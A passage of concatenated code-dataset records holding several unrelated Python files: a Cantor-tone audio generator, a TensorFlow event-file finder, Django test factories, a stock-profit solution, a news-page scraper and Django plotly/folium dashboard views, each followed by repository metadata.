k, char in map_characters.items():\n # print(k, char)\n\n # glob module: https://docs.python.org/3.5/library/glob.html\n # k for k in x (List Comprehensions): https://docs.python.org/3/tutorial/datastructures.html#list-comprehensions\n # picture is a array of the picture names in target folder\n # pictures = [k for k in glob.glob('./characters/%s/*' % char)]\n pictures = [k for k in glob.glob('./train_sets/%s/*' % char)]\n # print(len(pictures))\n # print(pictures)\n\n # nb_pic: the number of the pictures array\n # https://stackoverflow.com/questions/2529536/python-idiom-for-if-else-expression\n nb_pic = round(pictures_per_class/(1-test_size)) if round(pictures_per_class/(1-test_size)) len(tSeries):\n return\n\n endFrame = min(len(tSeries), frameStart + nframes)\n\n wave = amplitude * np.sin(angularSpeed * np.arange(endFrame - frameStart))\n tSeries[frameStart:endFrame] += wave\n\n def convertToWaveData(self, tSeries):\n '''\n Take a numpy array, normalize the values to the 2 byte integer values for .wav file,\n and then compactify it into a proper byte array.\n \n Parameters\n ----------\n self : \n Self-reference to class instance.\n tSeries : Numpy array.\n The waveform to create into a data form appropriate to put into .wav file.\n '''\n \n # First normalize \n\n seriesMax = np.amax(tSeries)\n seriesMin = np.amin(tSeries)\n mid = (seriesMax + seriesMin) / 2.0\n data = (tSeries - mid) / (seriesMax - seriesMin) * 2.0\n\n # Multiply by max\n\n sampleWidth = 2 # Restrict to using 2 byte integers for .wav file.\n maxsize = 2**(8 * sampleWidth - 1) - 1 # Max value for signed integer. \n\n data *= maxsize\n\n # Convert to Integer\n\n data = data.astype(np.int16)\n data = data.tobytes()\n return data\n\n def _addCantorLevel(self, tSeries, tStarts, duration, levelFreqs, amp):\n '''\n Private function for doing recursion of adding Cantor levels. Difference between\n public function addCantorLevel is that _addCantorLevel uses an array of starting\n times.\n Members\n -------\n self : \n Self-reference to class instance.\n tSeries : Numpy array.\n Waveform to add Cantor tones to.\n duration : Float\n The duration of each interval of this cantor level in seconds.\n levelFreqs: Array\n The frequencies for this level and the following levels.\n amp : Float\n The amplitude to use at each level.\n ''' \n\n # If there are no more frequencies to add, then we stop.\n\n if len(levelFreqs) < 1:\n return\n\n # Frequency for this level is just the first frequency in levelFreqs.\n freq = levelFreqs[0]\n\n nextStarts = []\n nextduration = duration / 3.0\n \n # As we add in waves for each starting point of this level, we also find\n # the starting times of the next level.\n for start in tStarts: \n self.addWave(tSeries, start, freq, amp, duration) \n nextStarts.append(start)\n nextStarts.append(start + 2 * nextduration)\n\n # Now get the next level; only pass tail of levelFreqs.\n\n self._addCantorLevel(tSeries, nextStarts, nextduration, levelFreqs[1:], amp)\n\n def addCantorTones(self, tSeries, tStart, duration, levelFreqs, amplitude):\n '''\n Public function to add cantor tones into a waveform. It will only add in the part of the Cantor Tones\n that actually fits into the waveform time series.\n\n Members\n -------\n self : \n Self-reference to class instance.\n tSeries : Numpy Array.\n Waveform that cantor tones are added to.\n duration : Float\n The length that the cantor tones last overall in seconds. If the duration does not fit into\n the time series then the amount that doesn't fit will be cut off. \n levelFreqs: Array\n An array of frequencies for the tones at each level. The length of the array determines the\n number of levels to add.\n amplitude : Float\n The amplitude to use for all of the tones.\n '''\n tStarts = np.array([tStart])\n self._addCantorLevel(tSeries, tStarts, duration, levelFreqs, amplitude) \n\n# Determine our framerate based on some basic considerations. \n\nminFramesPerPeriod = 10 # We want atleast 10 frames for each period.\nmaxFreq = 790 # Hz, i.e. periods per second.\nframerate = minFramesPerPeriod * maxFreq \nprint(\"Using framerate = \", framerate)\n\n# Parameters for .wav file.\n\nnchannels = 1 \nsampleWidth = 2\n\n# First we will create a .wav file playing notes in a C chord (as found on a guitar) in progression. \n# So we set up variables to hold information for each tone.\n# Reference for frequencies of notes are https://www.seventhstring.com/resources/notefrequencies.html \n\nchordFreqs = [261.6, 329.6, 392.0, 523.3, 659.3] # Frequencies of C chord on guitar.\ntStarts = [0.0, 0.5, 1.0, 1.5, 2.0]\ndurations = [4.5, 3.5, 2.5, 1.5, 0.5]\n\nmanip = ToneManipulator(framerate)\nwaveform = manip.createZeroSeries(durations[0])\n\nfor freq, tStart, duration in zip(chordFreqs, tStarts, durations):\n\n print(\"Adding frequency \", freq, \" to C chord waveform.\")\n manip.addWave(waveform, tStart = tStart, frequency = freq, amplitude = 1.0, duration = duration) \n\ndata = manip.convertToWaveData(waveform)\n\n# Open a .wav file and write in the data.\n\nwave_writer = wave.open('2018-01-05-output/cchord.wav', 'w')\nwave_writer.setnchannels(nchannels)\nwave_writer.setsampwidth(sampleWidth)\nwave_writer.setframerate(framerate)\nwave_writer.writeframesraw(data)\nwave_writer.close()\n\n# Graph what the waveform looks like\n\ntimes = np.arange(len(waveform)) / framerate\nfig = plt.figure(figsize = (6,3))\nplt.plot(times, waveform)\nplt.title('Waveform for cchord.wav')\nplt.ylabel('Waveform Value')\nplt.xlabel('Time (s)')\nplt.tight_layout()\nplt.savefig('2018-01-05-output/cchord.png')\n\n# Now let's try set of Cantor tones; the frequency to use at each level will be a frequency \n# from the guitar C chord.\n\nduration = 5.0 # Now let the .wav file last 5 seconds.\nwaveform = manip.createZeroSeries(duration)\nmanip.addCantorTones(waveform, tStart = 0, duration = duration, levelFreqs = chordFreqs, amplitude = 1.0) \ndata = manip.convertToWaveData(waveform)\n\n# Write the .wav file.\n\nwave_writer = wave.open('2018-01-05-output/cantor.wav', 'w')\nwave_writer.setnchannels(nchannels)\nwave_writer.setsampwidth(sampleWidth)\nwave_writer.setframerate(framerate)\nwave_writer.writeframesraw(data)\nwave_writer.close()\n\n# Graph the waveform.\n\nplt.clf()\ntimes = np.arange(len(waveform)) / framerate\nplt.plot(times, waveform)\nplt.xlabel('Time (s)')\nplt.ylabel('Waveform Value')\nplt.title('Waveform for cantor.wav')\nplt.tight_layout()\nplt.savefig('2018-01-05-output/cantorwaveform.png')\n\n# Now let's put in a series of Cantor tones. We will use the chord progression from the beginning of \n# the song \"House of the Rising Sun\" by The Animals as described in the guitar tabs contained at \n# https://tabs.ultimate-guitar.com/tab/the_animals/house_of_the_rising_sun_tabs_45131.\n\nduration = 3.0 # Each cantor progression will last 3 seconds.\n\n# Frequencies of notes on guitar for different chords.\n\nchordFreqs = {'Am' : [220.0, 349.2, 440.0, 523.3, 659.3],\n 'C' : [261.6, 329.6, 392.0, 523.3, 659.3],\n 'D' : [293.7, 440.0, 587.3, 740.0],\n 'F' : [349.2, 440.0, 523.3, 698.5],\n 'E' : [164.8, 246.9, 329.6, 415.3, 493.9, 659.3] }\n\n# The chord progression.\n\nchords = ['Am', 'C', 'D', 'F', 'Am', 'E', 'Am', 'E']\n\n# Open the .wav file to write.\n\nwave_writer = wave.open('2018-01-05-output/cantorProgression.wav', 'w')\nwave_writer.setnchannels(nchannels)\nwave_writer.setsampwidth(sampleWidth)\nwave_writer.setframerate(framerate)\n\n# For each list of chord frequencies in chords, add an arrangement of Cantor tones for the chord.\n\nfor chord in chords:\n\n # Re-zero our waveform.\n waveform = manip.createZeroSeries(duration)\n\n # We will be adding waveform to the end of the .wav file, so tStart is just 0.0 seconds.\n manip.addCantorTones(waveform, tStart = 0.0, duration = duration, \n levelFreqs = chordFreqs[chord], amplitude = 1.0) \n data = manip.convertToWaveData(waveform)\n wave_writer.writeframesraw(data)\n\nwave_writer.close()\n", "repo_name": "MatthewMcGonagle/MatthewMcGonagle.github.io", "sub_path": "assets/2018-01-05-CantorTones.py", "file_name": "2018-01-05-CantorTones.py", "file_ext": "py", "file_size_in_byte": 11308, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.zeros", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.int16", "line_number": 137, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 202, "usage_type": "call"}, {"api_name": "wave.open", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 246, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 248, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 249, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 250, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 253, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 253, "usage_type": "name"}, {"api_name": "wave.open", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 274, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 274, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 275, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 276, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 276, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 277, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 277, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 278, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 278, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 279, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 279, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 280, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 280, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 281, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 281, "usage_type": "name"}, {"api_name": "wave.open", "line_number": 303, "usage_type": "call"}]} +{"seq_id": "40783388597", "text": "import glob\nimport os\nfrom typing import List\n\n\ndef collect_tf_event_files(event_dir: str, recursive=False) -> List[str]:\n \"\"\"\n get all the event files from specific directory\n\n :param event_dir: the directory from which search the tf event files\n :param recursive: Bool, if recursive search sub directory\n :return: list of event files\n \"\"\"\n\n event_dir = os.path.abspath(event_dir)\n glob_pattern = os.path.join(event_dir, \"*.tfevents.*\")\n relative_files = glob.glob(glob_pattern, recursive=recursive)\n files = [os.path.join(event_dir, i) for i in relative_files]\n return files\n\n\nif __name__ == \"__main__\":\n event_files = collect_tf_event_files(\"./data\")\n print(event_files)\n", "repo_name": "howl-anderson/tf_summary_reader", "sub_path": "tf_summary_reader/collect_tf_event_files.py", "file_name": "collect_tf_event_files.py", "file_ext": "py", "file_size_in_byte": 713, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.abspath", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 6, "usage_type": "name"}]} +{"seq_id": "72559500167", "text": "from random import randint, uniform\n\nimport factory\nfrom factory import LazyAttribute, LazyFunction, SubFactory, fuzzy\nfrom factory.django import DjangoModelFactory\nfrom faker import Factory\n\nfrom page_builder.models import Page, Path\n\nfaker = Factory.create()\n\nclass PathFactory(DjangoModelFactory):\n class Meta:\n model = Path\n\n customer = factory.SubFactory('page_builder.tests.factories.CustomerFactory')\n page = factory.SubFactory('page_builder.tests.factories.PageFactory')\n path = LazyAttribute(lambda o: faker.text(max_nb_chars=255))\n json_content = LazyAttribute(lambda o: faker.text(max_nb_chars=65535))\n\n\nclass CustomerFactory(DjangoModelFactory):\n class Meta:\n model = Customer\n\n email = LazyAttribute(lambda o: faker.text(max_nb_chars=255))\n\n\nclass CustomerWithForeignFactory(CustomerFactory):\n @factory.post_generation\n def paths(obj, create, extracted, **kwargs):\n if not create:\n return\n if extracted:\n for n in range(extracted):\n PathFactory(customer=obj)\n else:\n number_of_units = randint(1, 10)\n for n in range(number_of_units):\n PathFactory(customer=obj)\n\n @factory.post_generation\n def pages(obj, create, extracted, **kwargs):\n if not create:\n return\n if extracted:\n for n in range(extracted):\n PageFactory(customer=obj)\n else:\n number_of_units = randint(1, 10)\n for n in range(number_of_units):\n PageFactory(customer=obj)\n\n\nclass PageFactory(DjangoModelFactory):\n class Meta:\n model = Page\n\n customer = factory.SubFactory('page_builder.tests.factories.CustomerFactory')\n main_url = LazyAttribute(lambda o: faker.text(max_nb_chars=255))\n cloudflare_domain = LazyAttribute(lambda o: faker.text(max_nb_chars=255))\n configuration = LazyAttribute(lambda o: faker.text(max_nb_chars=65535))\n github_repo = LazyAttribute(lambda o: faker.text(max_nb_chars=255))\n\n\nclass PageWithForeignFactory(PageFactory):\n @factory.post_generation\n def paths(obj, create, extracted, **kwargs):\n if not create:\n return\n if extracted:\n for n in range(extracted):\n PathFactory(page_id=obj)\n else:\n number_of_units = randint(1, 10)\n for n in range(number_of_units):\n PathFactory(page_id=obj)\n", "repo_name": "dnuske/public-page-builder-backend", "sub_path": "page_builder/tests/factories.py", "file_name": "factories.py", "file_ext": "py", "file_size_in_byte": 2448, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "faker.Factory.create", "line_number": 10, "usage_type": "call"}, {"api_name": "faker.Factory", "line_number": 10, "usage_type": "name"}, {"api_name": "factory.django.DjangoModelFactory", "line_number": 12, "usage_type": "name"}, {"api_name": "page_builder.models.Path", "line_number": 14, "usage_type": "name"}, {"api_name": "factory.SubFactory", "line_number": 16, "usage_type": "call"}, {"api_name": "factory.SubFactory", "line_number": 17, "usage_type": "call"}, {"api_name": "factory.LazyAttribute", "line_number": 18, "usage_type": "call"}, {"api_name": "faker.text", "line_number": 18, "usage_type": "call"}, {"api_name": "factory.LazyAttribute", "line_number": 19, "usage_type": "call"}, {"api_name": "faker.text", "line_number": 19, "usage_type": "call"}, {"api_name": "factory.django.DjangoModelFactory", "line_number": 22, "usage_type": "name"}, {"api_name": "factory.LazyAttribute", "line_number": 26, "usage_type": "call"}, {"api_name": "faker.text", "line_number": 26, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 38, "usage_type": "call"}, {"api_name": "factory.post_generation", "line_number": 30, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 50, "usage_type": "call"}, {"api_name": "factory.post_generation", "line_number": 42, "usage_type": "attribute"}, {"api_name": "factory.django.DjangoModelFactory", "line_number": 55, "usage_type": "name"}, {"api_name": "page_builder.models.Page", "line_number": 57, "usage_type": "name"}, {"api_name": "factory.SubFactory", "line_number": 59, "usage_type": "call"}, {"api_name": "factory.LazyAttribute", "line_number": 60, "usage_type": "call"}, {"api_name": "faker.text", "line_number": 60, "usage_type": "call"}, {"api_name": "factory.LazyAttribute", "line_number": 61, "usage_type": "call"}, {"api_name": "faker.text", "line_number": 61, "usage_type": "call"}, {"api_name": "factory.LazyAttribute", "line_number": 62, "usage_type": "call"}, {"api_name": "faker.text", "line_number": 62, "usage_type": "call"}, {"api_name": "factory.LazyAttribute", "line_number": 63, "usage_type": "call"}, {"api_name": "faker.text", "line_number": 63, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 75, "usage_type": "call"}, {"api_name": "factory.post_generation", "line_number": 67, "usage_type": "attribute"}]} +{"seq_id": "28651639326", "text": "# You are given an array prices where prices[i]\n# is the price of a given stock on the ith day.\n\n# You want to maximize your profit by choosing\n# a single day to buy one stock and choosing a\n# different day in the future to sell that stock.\n\n# Return the maximum profit you can achieve\n# from this transaction. If you cannot achieve any\n# profit, return 0.\n\n# Example 1:\n\n# Input: prices = [7,1,5,3,6,4]\n# Output: 5\n# Explanation: Buy on day 2 (price = 1) and sell on day 5 (price = 6), profit = 6-1 = 5.\n# Note that buying on day 2 and selling on day 1 is not allowed because you must buy before you sell.\n\n# Time complexity O(n)\n# Memory O(1)\n\nfrom typing import List\n\n\ndef maxProfit(prices: List[int]) -> int:\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n # left is best day to buy\n # right is best day to sell\n left_pointer = 0\n max_profit = 0\n\n for right_pointer in range(1, len(prices)):\n if prices[left_pointer] > prices[right_pointer]:\n left_pointer = right_pointer\n else:\n # profitable\n profit = prices[right_pointer] - prices[left_pointer]\n max_profit = max(profit, max_profit)\n return max_profit\n", "repo_name": "enriquetaso/leetcode-blind-75", "sub_path": "sliding_window/two_pointers/best_time_to_buy_and_sell_stock.py", "file_name": "best_time_to_buy_and_sell_stock.py", "file_ext": "py", "file_size_in_byte": 1198, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 25, "usage_type": "name"}]} +{"seq_id": "34119675052", "text": "import requests\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nimport re\nimport time\n\n\nclass getContents():\n def __init__(self, filename):\n self.filename = filename\n self.urls = pd.read_csv(self.filename, usecols=['来源链接1'], encoding='utf-8', index_col=0, header=0)\n #self.data2 = pd.read_csv(self.filename, usecols=['消息来源'], encoding='utf-8', index_col=0, header=0)\n self.readurls = list()\n try:\n with open('..\\\\data\\\\readurls.txt', 'r', encoding='utf-8') as f:\n self.readurls = f.readlines()\n except:\n urlfile = open('..\\\\data\\\\readurls.txt', 'w', encoding='utf-8')\n urlfile.write(' ')\n urlfile.close()\n\n self.htmltxt = ''\n self.sanyuan = []\n self.laiyuan = ''\n self.times = ''\n\n def getConn(self):\n for i in range(1, self.urls.shape[0]):\n url = self.urls.index[i-1]\n if pd.isnull( url ):\n continue\n url = url.strip()\n #已读取的url\n if url in self.readurls:\n continue\n self.readurls.append(url)\n self.laiyuan = url\n try:\n kv = {'user-agent': 'Mozilla/5.0'}\n r = requests.get(url, headers=kv)\n r.raise_for_status()\n r.encoding = r.apparent_encoding\n self.htmltxt = r.text\n except:\n print(\"HTML获取失败\")\n while (True):\n if self.htmltxt == \"\":\n print(\"等待中....\")\n time.sleep(5)\n kv = {'user-agent': 'Mozilla/5.0'}\n r = requests.get(url, headers=kv)\n r.raise_for_status()\n r.encoding = r.apparent_encoding\n self.htmltxt = r.text\n else:\n break\n soup = BeautifulSoup(self.htmltxt, 'html.parser')\n p = soup.find_all('p')\n if len(p) == 0:\n p = soup.find_all(\"span\")\n if len(p) == 0:\n p = soup.find_all(\"div\")\n s = \"\"\n for i in p:\n\n if i.text == None or i.text == \"\":\n continue\n s = s + i.text\n s = s.replace(\"\\n\", \"\")\n s = s.replace(\"\\t\", \"\")\n s = s.replace(\"\\xa0\", \"\")\n times = re.findall(r'\\d{4}-\\d{1,2}-\\d{1,2}', self.htmltxt)\n try:\n if len(times) == 0:\n times = re.findall(r'\\d{4}年\\d{1,2}月\\d{1,2}日', self.htmltxt)\n self.times = times[0]\n else:\n self.times = times[0]\n except:\n self.times = \"未知\"\n self.sanyuan = [[[self.laiyuan], [self.times], [s]]]\n print( self.laiyuan, self.times )\n urlline = pd.DataFrame([[url]])\n urlline.to_csv('..\\\\data\\\\readurls.txt', index=False, header=False, mode='a+')\n file = pd.DataFrame(self.sanyuan)\n file.to_csv('..\\\\data\\\\webOutput.csv', index=False, header=False, mode='a+')\n\n\nif __name__ == '__main__':\n address = getContents('..\\\\data\\\\Updates_NC.csv')\n print(address.getConn())", "repo_name": "bigcat2020/nCov_KG", "sub_path": "Source/spider.py", "file_name": "spider.py", "file_ext": "py", "file_size_in_byte": 3302, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.isnull", "line_number": 30, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 40, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 51, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 57, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 72, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 83, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 85, "usage_type": "call"}]} +{"seq_id": "15206693745", "text": "# 이 파일 수정시 서버를 재 시동해야함\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom plotly.offline import plot\nimport plotly.graph_objects as go\nfrom folium import plugins, Marker, Icon\nimport folium\nimport pandas as pd\nimport datetime\n#import dash_html_components as html\n\n# Create your views here.\n# render()는 첫번째 인자로 request, 두번째 인자로 템플릿, 세번째 인자로 context(dic타입)으로 전달\n# key는 템플릿에서 사용될 템플릿변수명이 되고, value는 전달하는 내용이 된다.\n\ndef report(request):\n return render(request, 'dash/report.html')\n\ndef test(request):\n return render(request,'dash/test.html')\n\ndef index(request):\n \"\"\"\n #전일 방문객\n df = pd.read_csv('./data/floatPopPerDay.csv')\n data = df['data'].sum()\n fig1 = go.Figure()\n fig1.add_trace(\n go.Indicator(\n mode=\"number\",\n value=data,\n title={'text':\"전일 방문객\", 'font':{'size':20}},\n number={'suffix':'명', 'font':{'size':20}, 'valueformat':',d'},\n )\n )\n fig1.update_layout(height=100)\n plot_div1 = plot(fig1, output_type='div')\n\n #지난달 �� 방문객\n df = pd.read_csv('./data/countMonth.csv')\n data = df['data'][0]\n fig2 = go.Figure()\n fig2.add_trace(\n go.Indicator(\n mode=\"number\",\n value=data,\n title={'text': \"지난달 총 방문객\", 'font': {'size': 20}},\n number={'suffix': '명', 'font': {'size': 20}, 'valueformat': ',d'},\n )\n )\n fig2.update_layout(height=100)\n plot_div2 = plot(fig2, output_type='div')\n\n #체류 시간\n df = pd.read_csv('./data/residenceTime.csv')\n data = df['data'].mean()//60\n fig3 = go.Figure()\n fig3.add_trace(\n go.Indicator(\n mode=\"number\",\n value=data,\n title={'text': \"체류 시간\", 'font': {'size': 20}},\n number={'prefix':'', 'suffix': '분', 'font': {'size': 20,'family':\"Arial\"}, 'valueformat': 'd'},\n )\n )\n fig3.update_layout(height=100)\n plot_div3 = plot(fig3, output_type='div')\n\n #어제 재방문객\n df = pd.read_csv('./data/revisitPerDay.csv')\n data = df['data'].sum()\n fig4 = go.Figure()\n fig4.add_trace(\n go.Indicator(\n mode=\"number\",\n value=data,\n title={'text': \"어제 재방문객\", 'font': {'size': 20}},\n number={'suffix': '명', 'font': {'size': 20}, 'valueformat': ',d'},\n )\n )\n fig4.update_layout(height=100)\n plot_div4 = plot(fig4, output_type='div')\n\n\n return render(request, \"dash/index.html\", context={'plot_div1': plot_div1,\n 'plot_div2': plot_div2,\n 'plot_div3': plot_div3,\n 'plot_div4': plot_div4\n }\n )\n \"\"\"\n df = pd.read_csv('./data/zoneVisitor.csv')\n fig = go.Figure()\n df['TIME'] = pd.to_datetime(df['TIME'], errors='coerce')\n k = df.query(\"TIME >= '2021-08-05 00:00' and TIME <= '2021-08-05 23:59'\")\n trace1 = go.Bar(\n x=k['TIME'].dt.hour,\n y=k['시외버스터미널']\n )\n data = [trace1]\n layout = go.Layout(title=\"일별 데이타\")\n fig = go.Figure(data,layout)\n plot_div = plot(fig, output_type='div')\n return render(request, \"dash/index.html\", context={'plot_div': plot_div})\n \"\"\"\n fig.add_trace(\n go.Bar(\n x=k['TIME'].dt.hour,\n y=k['시외버스터미널'] \n )\n )\n plot_div = plot(fig, output_type='div')\n return render(request, \"dash/index.html\", context={'plot_div':plot_div})\n \"\"\"\n\n\ndef login(request):\n #return HttpResponse(\"login\")\n return render(request, \"dash/login.html\")\n\ndef map(request):\n df = pd.read_csv('./data/DevList.csv')\n lat = df['위도'].mean() #위도의 평균값을 구하기 위해 mean() 사용\n long = df['경도'].mean() #처음 위치 잡기위해 평균값 사용\n m = folium.Map([lat, long], zoom_start=16, width='100%', height='100%')\n tooltip = \"클릭해주세요\"\n zoneName = df['존 이름'].drop_duplicates()\n color = ['red', 'orange','darkblue','green','blue','gray','purple']\n t = dict(zip(zoneName, color))\n radius = 50\n for i in df.itertuples():\n folium.Marker(location=[i[11], i[12]],\n icon=Icon(color=t[i[10]]),\n popup=f'
존 이름 : {i[10]}
',\n tooltip=tooltip).add_to(m)\n folium.Circle(location=[i[11], i[12]],\n radius=radius).add_to(m)\n\n #popup = folium.Popup(test, max_width=2650)\n #folium.RegularPolygonMarker(location=[51.5, -0.25], popup=popup).add_to(m)\n maps = m._repr_html_()\n\n # return redirect('https://www.google.com')\n return render(request, \"dash/map.html\",context={'map':maps})\n'''\nclass FoliumView(TemplateView):\n template_name = \"folium_app/map.html\"\n\n def get_context_data(self, **kwargs):\n figure = folium.Figure()\n m = folium.Map(\n location=[45.372, -121.6972],\n zoom_start=12,\n tiles='Stamen Terrain'\n )\n m.add_to(figure)\n\n folium.Marker(\n location=[45.3288, -121.6625],\n popup='Mt. Hood Meadows',\n icon=folium.Icon(icon='cloud')\n ).add_to(m)\n\n folium.Marker(\n location=[45.3311, -121.7113],\n popup='Timberline Lodge',\n icon=folium.Icon(color='green')\n ).add_to(m)\n\n folium.Marker(\n location=[45.3300, -121.6823],\n popup='Some Other Location',\n icon=folium.Icon(color='red', icon='info-sign')\n ).add_to(m)\n figure.render()\n return {\"map\": figure}\n'''\n\n\n\n\ndef demo_plot_view(request):\n \"\"\"\n View demonstrating how to display a graph object\n on a web page with Plotly.\n \"\"\"\n\n # Generating some data for plots.\n x = [i for i in range(-10, 11)]\n y1 = [3 * i for i in x]\n y2 = [i ** 2 for i in x]\n y3 = [10 * abs(i) for i in x]\n\n # List of graph objects for figure.\n # Each object will contain on series of data.\n graphs = []\n\n # Adding linear plot of y1 vs. x.\n graphs.append(\n go.Scatter(x=x, y=y1, mode='lines', name='Line y1')\n )\n\n # Adding scatter plot of y2 vs. x.\n # Size of markers defined by y2 value.\n graphs.append(\n go.Scatter(x=x, y=y2, mode='markers', opacity=0.8,\n marker_size=y2, name='Scatter y2')\n )\n\n # Adding bar plot of y3 vs x.\n graphs.append(\n go.Bar(x=x, y=y3, name='Bar y3')\n )\n\n # Setting layout of the figure.\n layout = {\n 'title': 'Title of the figure',\n 'xaxis_title': 'X',\n 'yaxis_title': 'Y',\n 'height': 420,\n 'width': 560,\n }\n\n # Getting HTML needed to render the plot.\n plot_div = plot({'data': graphs, 'layout': layout},\n output_type='div')\n\n return render(request, 'dash/login.html',\n context={'plot_div': plot_div})\n\n\n\n'''\ndf = pd.read_csv('../data/DevList.csv')\nlat = df['위도'].mean()\nlong = df['경도'].mean()\nm = folium.Map([lat,long],zoom_start=16)\ntooltip=\"클릭해주세요\"\nfor i in df.itertuples():\n #print(i[11])\n #Marker(location=[i['xcoordinate'][1],i['ycoordinate'][1]]).add_to(m)\n folium.Marker(location = [i[11],i[12]], popup=f'
존 이름 : {i[10]}
', tooltip = tooltip).add_to(m)\n\n\nm.save(\"test.html\")\n'''\n", "repo_name": "hancom507/dash", "sub_path": "dash/views1208.py", "file_name": "views1208.py", "file_ext": "py", "file_size_in_byte": 7682, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.shortcuts.render", "line_number": 17, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 92, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 93, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 93, "usage_type": "name"}, {"api_name": "pandas.to_datetime", "line_number": 94, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Bar", "line_number": 96, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 96, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Layout", "line_number": 101, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 101, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 102, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 102, "usage_type": "name"}, {"api_name": "plotly.offline.plot", "line_number": 103, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 104, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 119, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 122, "usage_type": "call"}, {"api_name": "folium.Map", "line_number": 125, "usage_type": "call"}, {"api_name": "folium.Marker", "line_number": 132, "usage_type": "call"}, {"api_name": "folium.Icon", "line_number": 133, "usage_type": "call"}, {"api_name": "folium.Circle", "line_number": 136, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 144, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 200, "usage_type": "call"}, {"api_name": "plotly.graph_objects", 